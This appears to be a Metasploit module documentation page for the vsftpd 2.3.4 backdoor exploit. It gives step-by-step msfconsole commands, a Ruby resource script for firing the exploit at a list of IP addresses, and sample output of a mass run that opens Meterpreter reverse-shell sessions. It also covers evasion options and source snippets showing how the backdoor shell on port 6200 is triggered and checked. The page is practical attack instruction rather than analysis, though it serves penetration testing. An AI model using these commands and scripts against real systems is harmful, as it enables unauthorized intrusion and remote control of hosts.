VSFTPD v2.3.4 Backdoor Command Execution - Metasploit


This page contains detailed information about how to use the exploit/unix/ftp/vsftpd_234_backdoor metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: VSFTPD v2.3.4 Backdoor Command Execution
Module: exploit/unix/ftp/vsftpd_234_backdoor
Source code: modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
Disclosure date: 2011-07-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix
Target service / protocol: -
Target network port(s): 21
List of CVEs: -

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

Module Ranking and Traits

Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Basic Usage

Using vsftpd_234_backdoor against a single host

Normally, you can use exploit/unix/ftp/vsftpd_234_backdoor this way:

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show targets
    ... a list of targets ...
msf exploit(vsftpd_234_backdoor) > set TARGET target-id
msf exploit(vsftpd_234_backdoor) > show options
    ... show and set options ...
msf exploit(vsftpd_234_backdoor) > exploit

Using vsftpd_234_backdoor against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your vsftpd_234_backdoor will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/unix/ftp/vsftpd_234_backdoor")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the unix/ftp/vsftpd_234_backdoor exploit module looks in the msfconsole:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show info

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Provided by:
  hdm <[email protected]>
  MC <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   21               yes       The target port (TCP)

Payload information:
  Space: 2000
  Avoid: 0 characters

Description:
  This module exploits a malicious backdoor that was added to the 
  VSFTPD download archive. This backdoor was introduced into the 
  vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 
  according to the most recent information available. This backdoor 
  was removed on July 3rd 2011.

References:
  OSVDB (73573)
  http://pastebin.com/AetT9sS5
  http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

Module Options

This is a complete list of options available in the unix/ftp/vsftpd_234_backdoor exploit:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the unix/ftp/vsftpd_234_backdoor exploit:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show advanced

Module advanced options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (cmd/unix/interact):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the unix/ftp/vsftpd_234_backdoor module can exploit:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the unix/ftp/vsftpd_234_backdoor exploit:

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command, Interact with Established Connection

Evasion Options

Here is the full list of possible evasion options supported by the unix/ftp/vsftpd_234_backdoor exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This server is configured for anonymous only and the backdoor code cannot be reached

Here is a relevant code snippet related to the "This server is configured for anonymous only and the backdoor code cannot be reached" error message:

67:	    sock.put("USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n")
68:	    resp = sock.get_once(-1, 30).to_s
69:	    print_status("USER: #{resp.strip}")
70:	
71:	    if resp =~ /^530 /
72:	      print_error("This server is configured for anonymous only and the backdoor code cannot be reached")
73:	      disconnect
74:	      return
75:	    end
76:	
77:	    if resp !~ /^331 /

This server did not respond as expected: <RESP.STRIP>

Here is a relevant code snippet related to the "This server did not respond as expected: <RESP.STRIP>" error message:

73:	      disconnect
74:	      return
75:	    end
76:	
77:	    if resp !~ /^331 /
78:	      print_error("This server did not respond as expected: #{resp.strip}")
79:	      disconnect
80:	      return
81:	    end
82:	
83:	    sock.put("PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n")

The service on port 6200 does not appear to be a shell

Here is a relevant code snippet related to the "The service on port 6200 does not appear to be a shell" error message:

98:	
99:	    s.put("id\n")
100:	
101:	    r = s.get_once(-1, 5).to_s
102:	    if r !~ /uid=/
103:	      print_error("The service on port 6200 does not appear to be a shell")
104:	      disconnect(s)
105:	      return
106:	    end
107:	
108:	    print_good("UID: #{r.strip}")

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References

See Also

Check also the following modules related to this module:

Related Nessus plugins:

Authors

  • hdm
  • MC

Version

This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.

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